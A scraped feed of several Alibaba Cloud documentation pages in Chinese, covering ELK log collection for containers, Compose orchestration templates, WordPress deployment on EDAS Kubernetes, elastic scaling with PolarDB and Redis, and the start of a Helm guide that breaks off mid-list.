            开启 timestamp

            Docker 在收集日志的时候可以选择是否添加 timestamp。您可以在容器服务中通过aliyun.log.timestamp 标签进行配置。默认会添加 timestamp。

            • 添加 timestamp

              aliyun.log.timestamp: "true"

            • 去除 timestamp

              aliyun.log.timestamp: "false"

            上一篇:查看日志

            下一篇:容器监控服务

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            容器服务中使用 ELK_日志_最佳实践_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 容器服务中使用 ELK

            更新时间:2019-03-21 16:23:50

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            本文档介绍如何在容器服务里使用 ELK。

            背景信息

            日志是 IT 系统的重要组成部分,记录了系统在什么时候发生了什么事情。我们可以根据日志排查系统故障,也可以做统计分析。

            通常日志存放在本机的日志文件里,需要查看日志的时候,登录到机器上,用 grep 等工具过滤关键字。但是当应用要部署在多台机器上的时候,这种方式查看日志就很不方便了,为了找到一个特定的错误对应的日志,不得不登录到所有的机器上,逐个过滤文件。于是出现了集中式的日志存储方式:所有日志收集到日志服务里,在日志服务里可以查看和搜索日志。

            在 Docker 环境里,集中式日志存储更加重要。相比传统的运维模式,Docker 通常使用编排系统管理容器,容器和宿主机之间的映射并不固定,容器也可能不断的在宿主机之间迁移,登录到机器上查看日志的方式完全没法用了,集中式日志成了唯一的选择。

            容器服务集成了阿里云日志服务,通过声明的方式自动收集容器日志到日志服务。但是有些用户可能更喜欢用 ELK(Elasticsearch+Logstash+Kibana)这个组合。本文档介绍如何在容器服务里使用 ELK。

            整体结构



            我们要部署一个独立的 logstash 集群。logstash 比较重,很耗资源,所以不会在每台机器上都运行 logstash,更不要说每个 Docker 容器里。为了采集容器日志,我们会用到 syslog、logspout 和 filebeat,当然您还可能会用到其他的采集方式。

            为了尽可能贴合实际场景,这里我们创建两个集群:一个名为testelk的集群用来部署 ELK,一个名为 app 的集群用于部署应用。

            操作步骤

            Note 本文档中创建的集群和负载均衡均需位于同一地域下。

            步骤 1 创建负载均衡实例

            为了能让其他服务向 logstash 发送日志,我们需要在 logstash 前面配置负载均衡。

            1. 创建应用前,登录 负载均衡管理控制台
            2. 创建一个公网类型的负载均衡实例。
            3. 设置两条监听规则。其中一条设置前端和后端的端口映射 5000:5000 ,另一条设置端口映射 5044:5044,不用添加后端服务器。


            步骤 2 部署 ELK

            1. 登录 容器服务管理控制台,创建集群 testelk

              有关如何创建集群,参见创建集群

              Note 集群必须和上边创建的负载均衡实例位于同一地域。

            2. 为集群绑定上边所创建的负载均衡实例。

              在集群列表页面,选择集群 testelk,单击右侧的管理,单击左侧导航栏中的负载均衡 > 单击绑定SLB > 选择上边创建的负载均衡实例并单击确定

            3. 使用下面的编排模板部署 ELK。本示例创建了一个名为 elk 的应用。

              有关如何使用编排模板创建应用,参见 创建应用

              Note 您需要使用您上边所创建的负载均衡实例的 ID 替换编排文件中的 ${SLB_ID}

              version: '2'
               services:
                 elasticsearch:
                   image: elasticsearch
                 kibana:
                   image: kibana
                   environment:
                     ELASTICSEARCH_URL: http://elasticsearch:9200/
                   labels:
                     aliyun.routing.port_5601: kibana
                   links:
                     - elasticsearch
                 logstash:
                   image: registry.cn-hangzhou.aliyuncs.com/acs-sample/logstash
                   hostname: logstash
                   ports:
                     - 5044:5044
                     - 5000:5000
                   labels:
                     aliyun.lb.port_5044: 'tcp://${SLB_ID}:5044' #先创建slb
                     aliyun.lb.port_5000: 'tcp://${SLB_ID}:5000'
                   links:
                     - elasticsearch

              在这个编排文件里,Elasticsearch 和 Kibana 我们直接使用了官方镜像,没有做任何更改。logstash 需要配置文件,需要自己做一个镜像,把配置文件放进去。镜像源码参见demo-logstash

              logstash 的配置文件如下。这是一个非常简单的 logstash 配置,我们提供了 syslog 和 filebeats 两种输入格式,对外的端口分别是 5044 和 5000。

              input {
                   beats {
                       port => 5044
                       type => beats
                   }
                   tcp {
                       port => 5000
                       type => syslog
                   }
               }
               filter {
               }
               output {
                   elasticsearch { 
                       hosts => ["elasticsearch:9200"]
                   }
                   stdout { codec => rubydebug }
               }
            4. 配置 kibana index。
              1. 访问 kibana。

                URL 可以在应用的路由列表(单击所创建的应用的名称 elk,单击 路由列表页签 > 单击路由地址)里找到。



              2. 创建 index。

                根据您的实际需求进行配置并单击 Create



            步骤 3 收集日志

            Docker 里标准的日志方式是用 Stdout,所以我们先演示如何把 Stdout 收集到 ELK。如果您在使用文件日志,可以直接用 filebeat。我们用 wordpress 作为演示用的例子,下面是 wordpress 的编排模板。我们在另外一个集群中创建应用 wordpress

            1. 登录 容器服务管理控制台,创建集群 app

              有关如何创建集群,参见 创建集群

              Note 集群必须和上边创建的负载均衡实例位于同一地域。

            2. 使用下面的编排模板创建应用wordpress

              Note 您需要使用您上边所创建的负载均衡实例的 IP 替换编排文件中的 ${SLB_IP}

              version: '2'
               services:
                 mysql:
                   image: mysql
                   environment:
                     - MYSQL_ROOT_PASSWORD=password
                 wordpress:
                   image: wordpress
                   labels:
                     aliyun.routing.port_80: wordpress
                   links:
                     - mysql:mysql
                   environment:
                     - WORDPRESS_DB_PASSWORD=password
                   logging:
                     driver: syslog
                     options:
                       syslog-address: 'tcp://${SLB_IP}:5000'

              待部署成功后,找到 wordpress 的访问地址(单击所创建的 wordpress 应用的名称 > 单击路由列表页签 > 单击路由地址),即可访问 wordpress 应用。

            3. 在应用列表页面,单击应用elk > 单击路由列表页签 > 单击路由地址。

              成功访问 kibana 的页面,可以查看已经收集到的日志。



            上一篇:Docker 镜像的基本使用

            下一篇:Docker 日志收集新方案:log-pilot

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            简介_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 简介

            更新时间:2019-01-23 00:08:20

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            容器服务支持 Docker Compose 编排模板来描述多容器应用。

            编排模板允许您描述一个完整的应用,该应用可以由许多个服务组成。例如:一个门户网站应用,由一个 Nginx 服务、一个 Web 服务和一个数据库服务组成。

            一个服务可能会有多个容器实例,所有容器实例的配置保持一致。例如:上述应用中的 Web 服务,就可以根据访问量需要启动两个甚至更多的容器。

            能力

            容器服务支持通过编排模板文件,自动化地部署和管理一个应用。

            编排模板文件使用的标签兼容大部分 Docker Compose V1 和 V2 版本实现的标签。有关具体兼容的标签,参见标签概览

            编排模板文件也支持 Compose V1 和 V2 两种版本的模板格式。更多详细信息,参见 Docker Compose V1Docker Compose V2

            容器服务也在社区版本之上提供了很多扩展能力:

            • 与社区的 Docker Compose 和 Swarm 不同,阿里云容器服务支持跨节点的容器连接(link),所以您可以直接将 Docker Compose 模板描述的应用部署到分布式集群上来提供高可用性和可伸缩性。
            • 容器服务也在社区 Compose 模板描述的基础上提供了一系列扩展来简化 Web、微服务应用的部署和运维。更多详细信息,参见标签概览

            示例

            下面是一个 WordPress 应用,包含了由 WordPress 镜像提供的 Web 服务和 MySQL 镜像提供的 db 服务。

            web:
              image: wordpress:4.2
              ports:
                - "80"
              environment:
                - WORDPRESS_AUTH_KEY=changeme
                - WORDPRESS_SECURE_AUTH_KEY=changeme
                - WORDPRESS_LOGGED_IN_KEY=changeme
                - WORDPRESS_NONCE_KEY=changeme
                - WORDPRESS_AUTH_SALT=changeme
                - WORDPRESS_SECURE_AUTH_SALT=changeme
                - WORDPRESS_LOGGED_IN_SALT=changeme
                - WORDPRESS_NONCE_SALT=changeme
              restart: always
              links:
                - db:mysql
              labels: 
                aliyun.log_store_wordpress: stdout
                aliyun.probe.url: http://container/license.txt 
                aliyun.probe.initial_delay_seconds: "10"
                aliyun.routing.port_80: wordpress;http://www.example.com;https://www.nice.com
                aliyun.scale: "3"
            db:
              image: mysql:5.6
              environment:
                MYSQL_ROOT_PASSWORD: password
              restart: always
              labels: 
                aliyun.log_store_mysql: stdout

            上一篇:另存编排模板

            下一篇:标签概览

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            发布 Kubernetes 应用案例_EDAS 自带 Kubernetes 集群应用生命周期管理_历史文档_企业级分布式应用服务 EDAS-阿里云 Fri, 02 May 2025 09:39:04 +0800 发布 Kubernetes 应用案例

            更新时间:2020-03-24 16:56:40

            本页目录

            为了帮助您更好的了解如何使用 Kubernetes 发布应用,本文以 WordPress 为例说明如何用 Kubernetes 发布应用。

            说明:WordPress 应用在使用时必须要依赖于数据库,所以本文档中,在创建 WordPress 应用前需要先创建 MySQL 应用。

            1. 创建 MySQL 应用

            前提条件

            第一次创建 Kubernetes 应用前,需要在应用所在的区域先完成以下工作:

            操作步骤

            1. 登录 EDAS 控制台

            2. 在左侧导航栏,单击应用管理,进入应用列表页面。

            3. 在应用列表页面右上角,单击创建 Kubernetes 应用

            4. 在应用基本信息页面中输入应用名称、并在下拉菜单中选择所在区域部署集群,单击下一步

              应用状态默认为无状态,可支持多副本部署。无状态应用重新部署时不保存实例数据。

              应用基本信息

              应用基本信息参数说明:

              • 应用名称:填写自定义的应用名。注意应用名不能重复,且仅允许数字,小写字母以及中划线组成。字母打头,最大长度36个字符。
              • 所在区域:选择相应的可用区域。
              • 部署集群:在下拉菜单中选择相应的集群用来部署 MySQL 应用。
              • 应用状态:默认支持无状态应用,不可设置。可支持多副本部署。无状态应用重新部署时不保存实例数据。
            5. 在应用配置页面中,配置应用参数。

              应用配置

              1. 单击镜像右侧的 + 按钮,在弹出的选择镜像对话框中选择镜像及版本。

                • 可以选择 Docker 官方推荐的 MySQL 镜像及版本,来创建 Kubernetes 应用。

                  官方镜像

                • 可以使用自己的 MySQL 镜像来创建 Kubernetes 应用。但镜像需要成功上传到阿里云 Docker registry 才能使用。如果想要创建自己的镜像,请参考上传本地镜像

              2. 设置 Pod 总数

                Pod 是应用最小的部署单元。应用可以有多个 Pod,在负载均衡下,请求会被随机分配给某个 Pod 处理。MySQL 应用的 Pod 数建议设为 1。

                说明:在无状态应用的 Pod 运行失败或出现故障时,可以自动重启或者快速迁移,保证应用的高可用。但无状态应用重新部署时不保存实例数据。

              3. 设置单 Pod 资源配额

                系统默认不做配额限制,即单 Pod 的 CPU 和 Memory 显示为 0。如果需要限制配额,请填设置数字。

              4. 设置私网负载均衡端口映射,包括私网 SLB 端口容器端口网络协议

                系统默认免费给每个应用创建一个私网 SLB 服务,保证同 VPC 内都可访问您的应用,期间不会产生任何费用。

                • 私网负载均衡端口:指的是私网负载均衡前端端口,定义了容器和 SLB 的端口映射关系。
                • 容器端口:进程监听的端口。一般由程序定义。MySQL 服务默认使用 3306 端口等。容器端口可以与 SLB 端口设置相同。
                • 网络协议:可选 TCP 或 UDP 协议。
              5. 选择是否设置公网负载均衡

                注意:MySQL 不需要设置公网负载均衡。

                如果选择开启公网负载均衡设置,同样需要配置公网 SLB 端口容器端口网络协议。配置完成后,系统为您的应用自动购买一个公网 SLB 服务,按使用量计费。您的应用将可以通过公网访问。购买后的 SLB 信息可以在负载均衡控制台查看。

              6. (可选)在应用高级设置右侧,单击展开设置,可以在高级设置中,设置容器启动命令启动参数环境变量,保证应用启动时可以正常使用。

                注意

                • 若不了解原 Dockerfile 镜像的 CMDENTRYPOINT 内容,不建议修改自定义启动命令和启动参数,错误的自定义命令将导致应用创建失败。
                • 启动命令仅需输入 CMD 中括号内内容,如命令 CMD [“/usr/sbin/sshd”,”-D”],仅需填写 /usr/sbin/sshd –D
                • 启动参数一个参数写一行。如 args:[“-c”; “while sleep 2”; “do echo date“; “done”] 中包含4个参数,需要分为4行来填写。
                • 在创建应用过程中,将所填环境变量注入到即将生成的容器中,这样可以避免常用环境变量的重复添加。

                  环境变量参数说明:

                  • MYSQL_ROOT_PASSWORD 用于设置 MySQL 的 root 密码,必选项
                  • MYSQL_USER 和 MYSQL_PASSWORD 用于添加除 root 之外的账号并设置密码,可选项。
                  • MYSQL_DATABASE 用于设置生成容器时需要新建的数据库,可选项。

                  本案例中,这3个可选的环境变量都需要配置,在设置 WordPress 应用中会用到,请保存。其它应用根据实际场景选择性设置可选参数。

                  设置环境变量

              7. 设置完成后,单击创建

            结果验证

            应用创建可能需要几分钟,请耐心等待。创建完成后,返回应用详情页面查看基本信息中应用状态是否为运行正常

            查看应用状态

            2. 创建 WordPress 应用

            创建 WordPress 应用的过程和创建 MySQL 应用的过程一致,参考创建 MySQL 应用完成。需要在以下几步中注意 WordPress 相应的配置。

            • 应用基本信息:设置 WordPress 应用基本信息时,部署集群需要设置成和 MySQL 应用所署的集群在同一个 VPC 内部。因为 MySQL 应用没有设置公网负载均衡,WordPress 应用需要通过私网负载均衡访问 MySQL。
            • 应用配置:为了提供公网访问,WordPress 应用除了私网负载均衡外,还需要设置公网负载均衡。容器端口和服务端口均设置为 80

            设置完成后,进入该应用详情页面查看应用状态。运行正常表示应用创建成功。

            3. 设置 WordPress 访问

            1. 在应用详情页面中复制 WordPress 应用的负载均衡(公网)地址。

              复制公网 SLB 地址

            2. 打开浏览器,在地址栏输入http://WordPress公网负载均衡地址/wp-admin/setup-config.php,并回车。

            3. 选择语言,然后单击继续

              本文档以中文简体为例。

              配置 WordPress

            4. 在 WordPress 的欢迎页面,确认需要准备的数据库信息,及此前安装的 MySQL 信息已准备好,然后单击现在就开始

            5. 设置数据库(MySQL 应用)相关信息,然后单击提交

              数据库名(MYSQL_DATABASE)、用户名(MYSQL_USER)和密码(MYSQL_PASSWORD)是在创建 MySQL 应用时配置的环境变量信息;数据库主机为 MySQL 应用的私网 SLB 地址。

              设置数据库信息

            6. 按页面提示,完成 WordPress 后续设置,包括设置 WordPress 的用户名和密码,直至完成。

              最后在浏览器地址栏输入公网 SLB 地址,回车,并输入 WordPress 的用户名和密码,就可以进入个人博客了。

              WordPress 应用案例首页

              ]]> 互联网行业高弹性系统架构最佳实践_最佳实践_云数据库 PolarDB-阿里云 Fri, 02 May 2025 09:39:04 +0800 互联网行业高弹性系统架构最佳实践

              更新时间:2020-02-10 14:42:34

              编辑 我的收藏

              新浪微博 微信 钉钉

              本页目录

              本方案通过弹性伸缩和PolarDB的配合,实现应用和数据库两个层面的弹性。

              参考链接:https://www.aliyun.com/acts/best-practice/preview?id=52159

              前提条件

              应用场景

              在互联网行业的业务发展中,很多业务具有突发性特点。

              • 例如互联网电商的秒杀、促销等活动,这类业务的特点是时间固定,但访问量不固定。除了提前升级配置之外,客户往往希望系统本身也能有自动弹性伸缩的能力。
              • 对于互联网教育的场景,由于存在放假和工作日的区别,系统也需要有一定的弹性伸缩能力去应对高出平时几倍的压力,等访问减少时,业务系统能释放冗余的资源达到节约成本的目标。

              典型场景和需求:

              • 业务系统波动大,以互联网行业为典型代表;
              • 业务系统和数据库系统都要能实现弹性伸缩;
              • 系统可用性高,弹性收缩用户感知小;
              • 支持手工快速提升系统和数据库性能。

              技术架构

              本实践基于如下图所示的技术架构和主要流程。

              方案优势

              • 应用弹性:通过配置合理的弹性伸缩配置,业务高峰期到来业务压力上涨时自动增加ECS实例保障业务系统平稳运行。对于可预见的快速业务上涨,配置定时任务或者通过手动执行伸缩规则的方式可以预先备齐ECS资源。业务低谷期自动释放多余ECS资源节约成本。
              • 数据库弹性:通过PolarDB在线节点配置弹性、只读节点弹性、同步克隆弹性和存储弹性四个维度的弹性,保障在大规模业务压力到来时快速应对业务压力。
              • 应用高可用性:通过ESS收缩配置设置均衡分布策略,在主可用区宕机时,ESS会在备可用区开出相同资源,保障业务平稳运行。
              • 缓存数据库和弹性负载均衡高可用性:通过多可用区的主备策略保障跨可用区自动容灾。

              注意事项

              • 跨可用区访问可能会有1-2ms的延迟。
              • 数据库不能实现自动弹性伸缩,需要人工干预升降配。
              • 业务系统需无状态,有状态系统需要先进行业务改造。
              • PolarDB现阶段未推出同城容灾版本,若要容灾需通过DTS同步,切换时需要修改应用的数据库连接。

                说明 使用DTS实时同步PolarDB请参见文档从POLARDB MySQL同步至POLARDB MySQL

              操作步骤

              本例以WordPress为业务系统演示。

              1. 登录云数据库PolarDB版控制台
              2. 创建PolarDB集群数据库和拥有读写权限的账号,具体操作请参见数据库创建数据库账号
              3. 登录云服务器ECS控制台
              4. 连接目标ECS实例,具体操作请参见连接ECS实例
              5. 在ECS上安装解压和压测工具。

                yum install -y unzip zip sysbench dstat

                说明

                • unzip和zip为压缩和解压缩程序,后续解压zip文件使用。
                • sysbench和dstat为Linux系统压测和系统监控工具,后续验证弹性伸缩时使用。

              6. 在ECS上安装Apache和PHP组件。

                1. 安装Apache和PHP组件。
                  yum install -y httpd php php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc

                  说明 安装完成后使用如下命令查看PHP版本:

                  yum list installed | grep php

                  WordPress 5.2.2要求PHP最低版本为5.6.20,若PHP版本低于该版本,请使用如下命令重新安装PHP组件。

                  ## 查看当前PHP版本
                  yum list installed | grep php
                  
                  ## 卸载低版本PHP组件
                  yum remove -y php.x86_64 php-cli.x86_64 php-common.x86_64 php-gd.x86_64 php-ldap.x86_64 php-mbstring.x86_64 php-mcrypt.x86_64 php-mysql.x86_64 php-pdo.x86_64
                  
                  ## 确认是否全都卸载完成
                  yum list installed | grep php
                  
                  ## 安装PHP组件的rpm包
                  rpm -Uvh https://mirror.webtatic.com/yum/el7/epel-release.rpm
                  rpm -Uvh https://mirror.webtatic.com/yum/el7/webtatic-release.rpm
                  
                  ## 重新安装PHP相关组件
                  yum install -y php56w.x86_64 php56w-cli.x86_64 php56w-common.x86_64 php56w-gd.x86_64 php56w-ldap.x86_64 php56w-mbstring.x86_64 php56w-mcrypt.x86_64 php56w-mysql.x86_64 php56w-pdo.x86_64

                2. 启动Apache服务。
                  service httpd start
                3. 设置Apache为开机默认启动。
                  sudo chkconfig httpd on
                4. 编辑info.php文件。
                  vim /var/www/html/info.php
                5. i进行编辑,在文件中输入如下内容。
                  <?php
                  phpinfo();
                  ?>
                6. 按Esc,输入:wq保存并退出。
                7. 在浏览器输入http://<ECS的弹性公网IP>/info.php,PHP安装正确会看到下图的PHP信息。

              7. 在ECS上安装WordPress。

                1. 创建WordPress安装目录。
                  mkdir -p /opt/WP
                2. 打开WP文件夹。
                  cd /opt/WP
                3. 下载并解压WordPress。
                  ## 下载WordPress
                  wget https://cn.wordpress.org/latest-zh_CN.tar.gz
                  
                  ## 解压WordPress
                  tar -xzvf latest-zh_CN.tar.gz
                4. 配置WordPress访问PolarDB。
                  ## 打开wordpress文件夹
                  cd /opt/WP/wordpress/
                  
                  ## 复制wp-config-sample.php文件,并将复制后的文件名称修改成为wp-config.php
                  cp wp-config-sample.php wp-config.php
                  
                  ## 编辑wp-config.php文件
                  vim wp-config.php
                5. i进行编辑,配置如下参数。
                  /** WordPress数据库的名称 */
                  define( 'DB_NAME', 'wp-polardb' );
                  
                  /** MySQL数据库用户名 */
                  define( 'DB_USER', 'wp_user' );
                  
                  /** MySQL数据库密码 */
                  define( 'DB_PASSWORD', 'password' );
                  
                  /** MySQL主机 */
                  define( 'DB_HOST', 'pc-wz957jq**********.mysql.polardb.rds.aliyuncs.com' );
                  参数 描述 示例
                  DB_NAME PolarDB数据库名称。 wp-polardb
                  DB_USER PolarDB数据库账户的用户名。 wp_user
                  DB_PASSWORD PolarDB数据库账户对应的密码。 password
                  DB_HOST PolarDB数据库内网连接地址,查看内网连接地址方式请参见查看连接地址 pc-wz957jq**********.mysql.polardb.rds.aliyuncs.com
                6. 按Esc,输入:wq保存并退出。
                7. 打开/var/www/html/,并将wordpress目录复制到/var/www/html/路径下。
                  cd /var/www/html
                  cp -rf /opt/WP/wordpress/* /var/www/html/
                8. 在浏览器输入http://<ECS的弹性公网IP>,在WordPress配置页面填写站点标题、用户名和密码等信息,如下图所示。
                9. 单击左下角安装WordPress,完成安装。

              8. 在WordPress上开通redis缓存支持。

                1. 下载并解压redis-cache插件。
                  ## 切换到WP目录
                  cd /opt/WP
                  
                  ## 下载redis-cache插件
                  wget https://downloads.wordpress.org/plugin/redis-cache.1.4.1.zip
                  
                  ## 解压redis-cache
                  unzip redis-cache.1.4.1.zip
                  
                  ## 复制到/var/www/html/wp-content/plugins/
                  cp -rf redis-cache /var/www/html/wp-content/plugins/
                2. 编辑wp-config.php文件。
                  vim /var/www/html/wp-config.php
                3. i进行编辑,在PolarDB设置后增加Redis数据库信息。
                  /** Redis 主机 */
                  define('WP_REDIS_HOST', 'r-**********.redis.rds.aliyuncs.com');
                  
                  /** Redis 端口 */
                  define('WP_REDIS_PORT', '6379');
                  
                  /** 接受用于使用该SELECT命令自动选择逻辑数据库的数值,不用修改 */
                  define('WP_REDIS_DATABASE', '10');
                  
                  /** Redis数据库密码 */
                  define('WP_REDIS_PASSWORD', 'password');
                  参数 描述 示例
                  WP_REDIS_HOST 云数据库Redis内网连接地址,查看内网连接地址方式请参见查看连接地址 r-**********.redis.rds.aliyuncs.com
                  WP_REDIS_PORT Redis服务端口,默认为6379. 6379
                  WP_REDIS_DATABASE 指定缓存信息保存的DB,例如10就是保存到DB10。 10
                  WP_REDIS_PASSWORD Redis的连接密码 password
                4. 按Esc,输入:wq保存并退出。
                5. 复制配置文件到根目录下。
                  cp /var/www/html/wp-content/plugins/redis-cache/includes/object-cache.php /var/www/html/wp-content/
                6. 在浏览器输入http://<ECS的弹性公网IP>/wp-login.php,登录WordPress管理页面。
                7. 在左侧导航点单击插件 > 已安装插件
                8. 插件页面,单击Redis Object Cache下的启动
                9. 单击Settings,打开Redis Object Cache页面。
                10. Status显示Connected时,表示Redis数据库连接正常。您可以点击Flush Cache将缓存数据导入Redis数据库。

              9. 在WordPress管理页面左侧导航栏中单击设置 > 常规,在WordPress地址(URL)站点地址(URL)选项中输入您预先申请并备案的域名。

              10. 配置负载均衡。

                1. 登录负载均衡SLB控制台
                2. 在左侧导航栏单击实例 > 实例管理
                3. 定位到目标SLB实例,单击右侧点我开始配置
                4. 负载均衡业务配置导航页面,选择HTTP协议,监听端口设置为80,开启开启会话保持功能,单击下一步
                5. 单击默认服务器组 > 继续添加,勾选之前创建的ECS实例,单击下一步:配置权重和端口号
                6. 设置端口号80权重50,单击下一步
                7. 配置健康检查页面,开启健康检查后单击下一步
                8. 配置审核页面,单击提交
                9. 待到审核项目都显示成功后单击确定即可。

              11. 登录云解析DNS控制台,将SLB弹性公网IP地址绑定预先申请并备案的域名。

                说明 如何绑定域名请参见添加网站解析

              12. 登录云服务器ECS控制台,为之前创建好的ECS创建镜像。

                说明 如何创建ECS实例镜像请参见使用实例创建自定义镜像

              13. 登录弹性伸缩控制台,配置弹性伸缩。

                1. 创建伸缩组。

                  说明 创建伸缩组具体配置请参见创建伸缩组

                2. 创建伸缩配置并启用。

                  说明 创建伸缩配置具体配置请参见创建伸缩配置

                3. 在该伸缩组中加入ECS实例。
                  1. 登录弹性伸缩控制台,单击目标伸缩组后的管理
                  2. 单击ECS实例列表 > 手动添加 > 添加已有实例,将目标ECS实例移动到右侧后,单击确定
                4. 创建伸缩规则。

                  说明 创建伸缩规则具体配置请参见创建伸缩规则

                5. 创建伸缩任务。

                  说明 创建伸缩任务具体配置请参见执行伸缩规则

              14. 验证弹性伸缩。

                1. 通过控制台登录ECS,登录操作请参见连接ECS实例
                2. 通过压测命令提高ECS的CPU使用率。
                  sysbench cpu --cpu-max-prime=2000000 --threads=2 --time=1000 run
                3. 根据之前配置的报警任务。
                  • 当CPU使用率超过80%时,触发ESS的报警任务,ESS会自动创建ECS服务器。
                  • 当CPU使用率低于50%时,触发ESS的报警任务,ESS会自动减少ECS服务器。

                  至此配置完成。

              上一篇:性能对比注意事项

              下一篇:API概览

              相关文档

              以上内容是否对您有帮助?

              在文档使用中是否遇到以下问题

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              • 内容错误

              • 更新不及时

              • 链接错误

              • 缺少代码/图片示例

              • 太简单/步骤待完善

              • 其他

              更多建议

              匿名提交

              感谢您的打分,是否有意见建议想告诉我们?

              感谢您的反馈,反馈我们已经收到

              文档反馈

              ]]>
              利用 Helm 简化应用部署_应用管理_Kubernetes集群用户指南_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 利用 Helm 简化应用部署

              更新时间:2020-03-20 14:11:30

              编辑 我的收藏

              新浪微博 微信 钉钉

              本页目录

              本文档介绍 Helm 的基本概念和使用方式,演示在阿里云的 Kubernetes 集群上利用 Helm 来部署示例应用 WordPress 和 Spark。

              前提条件

              • 通过 Helm 部署应用之前,利用阿里云容器服务来创建 Kubernetes 集群。参见创建Kubernetes集群

                在 Kubernetes 集群创建的同时,Tiller 将会被自动部署到集群之中,并且在所有的 master 节点上自动安装 Helm CLI 以及配置指向阿里云的 Chart 存储库。

              • 查看您集群中 Kubernetes 的版本。

                仅支持 Kubernetes 版本 1.8.4 及以上的集群。对于 1.8.1 版本的集群,您可以在集群列表中进行集群升级操作。

              背景信息

              在 Kubernetes 中,应用管理是需求最多、挑战最大的领域。Helm 项目提供了一个统一软件打包方式,支持版本控制,简化 Kubernetes 应用分发与部署中的复杂性。阿里云容器服务在应用目录管理功能中集成了 Helm 工具,并进行了功能扩展,支持官方 Repository,让您快速部署应用。您可以通过命令行或容器服务控制台界面两种方式进行部署。

              本文档介绍 Helm 的基本概念和使用方式,演示在阿里云的 Kubernetes 集群上利用 Helm 来部署示例应用 WordPress 和 Spark。

              Helm 基本概念

              Helm 是由 Deis 发起的一个开源工具,有助于简化部署和管理 Kubernetes 应用。

              Helm 可以理解为 Kubernetes 的包管理工具,可以方便地发现、共享和使用 Kubernetes 构建的应用,它包含以下几个基本概念。

              • Chart:一个 Helm 包,其中包含了运行一个应用所需要的镜像、依赖和资源定义等,还可能包含 Kubernetes 集群中的服务定义,类似 Homebrew 中的 formula、APT 的 dpkg 或者 Yum 的 rpm 文件。
